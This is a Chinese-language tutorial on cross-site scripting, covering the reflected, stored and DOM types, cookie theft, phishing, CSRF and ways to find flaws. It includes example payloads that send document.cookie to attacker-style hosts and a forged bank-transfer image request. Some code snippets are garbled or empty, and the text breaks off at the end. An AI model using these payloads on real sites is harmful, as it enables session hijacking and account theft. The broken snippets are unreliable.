簡(jiǎn)介:
跨網(wǎng)站腳本(Cross-site scripting,通常簡(jiǎn)稱為XSS或跨站腳本或跨站腳本攻擊)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁(yè)上,其他用戶在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了HTML以及用戶端腳本語(yǔ)言。
XSS攻擊通常指的是通過(guò)利用網(wǎng)頁(yè)開(kāi)發(fā)時(shí)留下的漏洞,通過(guò)巧妙的方法注入惡意指令代碼到網(wǎng)頁(yè),使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁(yè)程序。這些惡意網(wǎng)頁(yè)程序通常是JavaScript,但實(shí)際上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁(yè)內(nèi)容、會(huì)話和cookie等各種內(nèi)容。
原因:
有的服務(wù)器并沒(méi)有對(duì)用戶的輸入進(jìn)行安全方面的驗(yàn)證,攻擊者就可以很容易地通過(guò)正常的輸入手段,夾帶進(jìn)一些惡意的HTML腳本代碼。當(dāng)受害者的瀏覽器訪問(wèn)目標(biāo)服務(wù)器上被注入惡意腳本的頁(yè)面后,由于它對(duì)目標(biāo)服務(wù)器的信任,這段惡意腳本的執(zhí)行不會(huì)受到什么阻礙。而此時(shí),XSS攻擊就完成了。
種類(lèi):
1. 反射型XSS
反射型XSS,又稱非持久型XSS。(一般需要自行去觸發(fā),輸入—輸出)
反射:這種攻擊方式的注入代碼是從目標(biāo)服務(wù)器通過(guò)錯(cuò)誤信息、搜索結(jié)果等等方式“反射”回來(lái)的。
非持久性:這種攻擊方式往往具有一次性。
方式:
攻擊者通過(guò)電子郵件等方式將包含注入腳本的惡意鏈接發(fā)送給受害者,當(dāng)受害者點(diǎn)擊該鏈接時(shí),注入腳本被傳輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執(zhí)行了這段腳本。
Eg:
攻擊者將如下鏈接發(fā)送給受害者:
代碼:
http://www.XXXX.com/search.asp?input=<script>alert(document.cookie);</script>
當(dāng)受害者點(diǎn)擊這個(gè)鏈接的時(shí)候,注入的腳本被當(dāng)作搜索的關(guān)鍵詞發(fā)送到目標(biāo)服務(wù)器的search.asp頁(yè)面中,則在搜索結(jié)果的返回頁(yè)面中,這段腳本將被當(dāng)作搜索的關(guān)鍵詞而嵌入。這樣,當(dāng)用戶得到搜索結(jié)果頁(yè)面后,這段腳本也得到了執(zhí)行。這就是反射型XSS攻擊的原理,可以看到,攻擊者巧妙地通過(guò)反射型XSS的攻擊方式,達(dá)到了在受害者的瀏覽器上執(zhí)行腳本的目的。由于代碼注入的是一個(gè)動(dòng)態(tài)產(chǎn)生的頁(yè)面而不是永久的頁(yè)面,因此這種攻擊方式只在點(diǎn)擊鏈接的時(shí)候才產(chǎn)生作用,這也是它被稱為非持久型XSS的原因。
2. 存儲(chǔ)型XSS
存儲(chǔ)型XSS,又稱持久型XSS。(一般無(wú)意觸發(fā),輸入--進(jìn)入數(shù)據(jù)庫(kù)*--取出數(shù)據(jù)庫(kù)--輸出)
持久性:攻擊腳本將被永久地存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)和文件中。
方式:
這種攻擊多見(jiàn)于論壇或博客,攻擊者在發(fā)帖的過(guò)程中,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容之中。隨著帖子被服務(wù)器存儲(chǔ)下來(lái),惡意腳本也永久地被存放在服務(wù)器的后端存儲(chǔ)器中。當(dāng)其它用戶瀏覽這個(gè)被注入了惡意腳本的帖子的時(shí)候,惡意腳本則會(huì)在他們的瀏覽器中得到執(zhí)行,從而受到了攻擊。
Eg:
惡意攻擊者可以通過(guò)發(fā)一篇包含了惡意代碼的帖子。
(帖子中包含了惡意代碼,<script>window.open(“www.b.com?param=+document.cookie)</script>)
這時(shí)甲和乙看到了惡意攻擊者的提子,當(dāng)在查看帖子時(shí)就都中招了,他們的cookie信息都發(fā)送到了惡意攻擊者的服務(wù)器上,攻擊成功!
可以看到,存儲(chǔ)型XSS的攻擊方式能夠?qū)阂獯a永久地嵌入一個(gè)頁(yè)面當(dāng)中,所有訪問(wèn)這個(gè)頁(yè)面的用戶都將成為受害者。如果我們能夠謹(jǐn)慎對(duì)待不明鏈接,那么反射型的XSS攻擊將沒(méi)有多大作為,而存儲(chǔ)型XSS則不同,由于它注入的往往是一些我們所信任的頁(yè)面,因此無(wú)論我們多么小心,都難免會(huì)受到攻擊。
3. DOM-XSS
DOM—based XSS漏洞是基于文檔對(duì)象模型Document Objeet Model,DOM)的一種漏洞,它涉及的兩個(gè)層次不是服務(wù)器端和瀏覽器端,而是瀏覽器端的JavaScript層和HTML層。更準(zhǔn)確的說(shuō),就是服務(wù)器腳本變成了客戶端腳本。
方式:
用戶請(qǐng)求一個(gè)經(jīng)過(guò)專(zhuān)門(mén)設(shè)計(jì)的URL,它由攻擊者提交,且其中包含嵌入式JavaScript。服務(wù)器的響應(yīng)中并不以任何形式包含攻擊者的腳本。當(dāng)用戶的瀏覽器處理這個(gè)響應(yīng)時(shí),上述腳本得以處理。
Eg:
http://www.xxx.site/welcome.html?name=zhangsan
使用以下的腳本打印出登錄用戶zhangsan的名字,即
代碼:
<SCRIPT>
var pos=docmnent.URL.indexOf(“name=”)+5;
document.write (document.URL.substring(pos,document.URL.length));
</SCRIPT>
如果這個(gè)腳本用于請(qǐng)求http://www.xxx.site/welcome.html?name=<script>alert(“XSS”)</script>時(shí),就導(dǎo)致XSS攻擊的發(fā)生。
當(dāng)用戶點(diǎn)擊這個(gè)鏈接,服務(wù)器返回包含上面腳本的HTML靜態(tài)文本,用戶瀏覽器把HTML文本解析成DOM,DOM中的document對(duì)象URL屬性的值就是當(dāng)前頁(yè)而的URL。在腳本被解析時(shí),這個(gè)URL屬性值的一部分被寫(xiě)入HTML文本,而這部分HTML文本卻是JavaScript腳本,這使得<script>alert(“XSS”)</script>成為頁(yè)面最終顯示的HTML文本,從而導(dǎo)致DOM—base XSS攻擊發(fā)生。
常用的攻擊手段和目的
1. 竊取Cookie
盜用 cookie (主要),獲取敏感信息,比如盜取各類(lèi)用戶賬號(hào)、控制企業(yè)數(shù)據(jù)、盜竊企業(yè)重要的具有商業(yè)價(jià)值的資料、非法轉(zhuǎn)賬等等。
代碼:
代碼:
<script>location.+document.cookie;</script>
其中l(wèi)ocation.href是指頁(yè)面跳轉(zhuǎn)到
代碼:
http://www.VulnerableSite.com/index.php?search=<script>location.+document.cookie;</script>
或者
代碼:
"><a href="#" onclick="document.location='http:///whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>
document.location和location.href基本一樣
通過(guò)XSS攻擊,由于注入代碼是在受害者的瀏覽器上執(zhí)行,因此能夠很方便地竊取到受害者的Cookie信息。比如,我們只要注入類(lèi)似如下的代碼:
代碼:
<script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>
當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候,就會(huì)自動(dòng)訪問(wèn)攻擊者建立的網(wǎng)站http://www.attackpage.com,打開(kāi)其中的recou...ookie信息。
得到受害者的Cookie信息后,攻擊者可以很方便地冒充受害者,從而擁有其在目標(biāo)服務(wù)器上的所有權(quán)限,相當(dāng)于受害者的身份認(rèn)證被竊取了。這樣,攻擊者可以任意地利用受害者的身份訪問(wèn)服務(wù)器上的資源和服務(wù),甚至對(duì)受害者和服務(wù)器上的數(shù)據(jù)進(jìn)行破壞。如果受害者擁有管理員權(quán)限,攻擊者還可以利用其提升自己賬號(hào)的權(quán)限,從而進(jìn)行進(jìn)一步的攻擊。
注:Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過(guò)加密)
document.location.href和document.location.replace都可以實(shí)現(xiàn)從A頁(yè)面切換到B頁(yè)面,但他們的區(qū)別是:
用document.location.href切換后,可以退回到原頁(yè)面。而用document.location.replace切換后,不可以通過(guò)“后退”退回到原頁(yè)面。
關(guān)于document.location.href或其他可回退的切換方式
document.location 相當(dāng)于 document.URL 聲明了裝載文檔的URL,
除非發(fā)生了服務(wù)器重定向, 否則該屬性的值與Window.location.href的值是一樣的.
2.釣魚(yú)
所謂釣魚(yú)攻擊就是構(gòu)建一個(gè)釣魚(yú)頁(yè)面,誘騙受害者在其中輸入一些敏感信息,然后將其發(fā)送給攻擊者。利用XSS的注入腳本,我們也可以很方便地注入釣魚(yú)頁(yè)面的代碼,從而引導(dǎo)釣魚(yú)攻擊。比如下面這樣一段代碼:
代碼:
注入上面的代碼后,則會(huì)在原來(lái)的頁(yè)面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當(dāng)用戶點(diǎn)擊“登錄”按鈕后,則會(huì)執(zhí)行hack()函數(shù),將用戶的輸入發(fā)送到攻擊者指定的網(wǎng)站上去。這樣,攻擊者就成功竊取了該用戶的賬號(hào)信息??梢钥吹剑鸵话愕尼烎~(yú)攻擊不同,XSS引導(dǎo)的釣魚(yú)攻擊由于是對(duì)用戶信任的網(wǎng)站頁(yè)面進(jìn)行修改,因此隱蔽性很高,而用戶的賬號(hào)失竊往往會(huì)帶來(lái)重大的損失,因此它的危害也是十分巨大的。
3.跨站請(qǐng)求偽造
跨站請(qǐng)求偽造(Cross-SiteRequest Forgery,CSRF),作為OWASP組織的2007年提出十大安全漏洞第五,它也屬于XSS攻擊的一種衍生。所謂跨站請(qǐng)求偽造,就是攻擊者利用XSS注入攻擊的方式,注入一段腳本,而當(dāng)受害者的瀏覽器運(yùn)行這段腳本時(shí),腳本偽造受害者發(fā)送了一個(gè)合法請(qǐng)求。比如我們注入如下的HTML代碼:
代碼:
<imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代碼中所訪問(wèn)的是某個(gè)銀行網(wǎng)站的轉(zhuǎn)賬服務(wù),則當(dāng)受害者的瀏覽器運(yùn)行這段腳本時(shí),就會(huì)向攻擊者指定的賬戶(示例的123456)執(zhí)行轉(zhuǎn)賬操作。由于這個(gè)轉(zhuǎn)賬請(qǐng)求是在受害者的瀏覽器中運(yùn)行的,因此瀏覽器也會(huì)自動(dòng)將受害者的Cookie信息一并發(fā)送。這樣,發(fā)送的請(qǐng)求就好像是受害者自己發(fā)送的一樣,銀行網(wǎng)站也將認(rèn)可這個(gè)請(qǐng)求的合法性,攻擊者也就達(dá)到了偽造請(qǐng)求的目的。
4.注入惡意軟件
除了直接注入惡意腳本以外,通過(guò)XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒、木馬、蠕蟲(chóng)等等。例如,攻擊者可以在某個(gè)自己建立的頁(yè)面上放置一些惡意軟件,然后用XSS注入的方式,插入一段引用該頁(yè)面的腳本。這樣當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候,就會(huì)自動(dòng)訪問(wèn)放置了惡意軟件的頁(yè)面,從而受到這些惡意軟件的感染。
利用XSS注入惡意軟件的方式,攻擊者可以很方便地在互聯(lián)網(wǎng)上傳播病毒、木馬和蠕蟲(chóng),通過(guò)這種途徑,攻擊者就可以通過(guò)這些病毒、木馬和蠕蟲(chóng),進(jìn)一步地對(duì)受害者的主機(jī)發(fā)動(dòng)攻擊。目前,互聯(lián)網(wǎng)上的“掛馬”現(xiàn)象非常普遍,而XSS注入的出現(xiàn)也無(wú)疑給“掛馬”的攻擊者指明了又一個(gè)新的方向。通過(guò)傳播這些木馬,竊取合法用戶的敏感信息,不少非法攻擊者也逐漸將這一過(guò)程產(chǎn)業(yè)化,經(jīng)??梢砸?jiàn)到以信封方式批量兜售賬號(hào)密碼的現(xiàn)象。這也給許多正常的網(wǎng)絡(luò)用戶造成了許多無(wú)法挽回的巨大損失,造成的危害也很大。
挖掘方式:
1. 對(duì)于反射型XSS以及一些DOM XSS,一般建議是開(kāi)發(fā)一些自動(dòng)化的掃描工具進(jìn)行掃描,并輔以手工分析。 另外一方面,搜索引擎也是快速尋找具有缺陷參數(shù)的好辦法。 具體可見(jiàn):白帽子信息_心傷的瘦子
2. 對(duì)于存儲(chǔ)型XSS,
1) 對(duì)于單純的輸入->存儲(chǔ)->輸出點(diǎn) 的情況 (輸入與輸出點(diǎn)關(guān)系:一個(gè)地方輸入,會(huì)有多個(gè)地方輸出;不同地方輸入,同一地方輸出。)。常規(guī)測(cè)試是正向直接輸入內(nèi)容,然后在輸出點(diǎn)查看是否未過(guò)濾,當(dāng)然你也可以先大膽假設(shè)輸出點(diǎn)未過(guò)濾,反向?qū)ふ以诤翁庍M(jìn)行輸入,進(jìn)而測(cè)試。
2)對(duì)于富文本,則需要對(duì)過(guò)濾器進(jìn)行fuzz測(cè)試(人腦+自動(dòng)化)了,可參照:fuzzing XSS filter
3)第三類(lèi),就是一些WEB應(yīng)用中所出現(xiàn)的DOM-存儲(chǔ)型XSS,即輸出點(diǎn)的無(wú)害內(nèi)容,會(huì)經(jīng)過(guò)js的一些dom操作變得危險(xiǎn)(本質(zhì)上和 第1點(diǎn)里的dom xss成因是一樣的)。這一類(lèi)的挖掘方法,個(gè)人覺(jué)得不太好總結(jié)。 其一,需要熟悉WEB應(yīng)用的功能,其二,知道功能所對(duì)應(yīng)的JS代碼有哪些,其三,憑直覺(jué)猜測(cè)程序員會(huì)在哪些功能出現(xiàn)可能導(dǎo)致XSS的過(guò)濾遺忘或過(guò)濾錯(cuò)誤(直覺(jué)是唬人的,其實(shí)就是你知道某些功能會(huì)需要某些代碼實(shí)現(xiàn),而這些代碼常常容易出錯(cuò)),其四,需要有較好的代碼閱讀跟蹤能力(JS一大坨。。還是蠻難讀的.... 有些代碼被混淆過(guò),十分不易閱讀,就會(huì)涉及到如何下斷點(diǎn)進(jìn)行調(diào)試的小技巧)。 我想,挖掘這一類(lèi)的前提可能是需要有不錯(cuò)的前端開(kāi)發(fā)經(jīng)驗(yàn),寫(xiě)多了,才會(huì)有足夠的嗅覺(jué)。
檢測(cè)方法
代碼:
|
|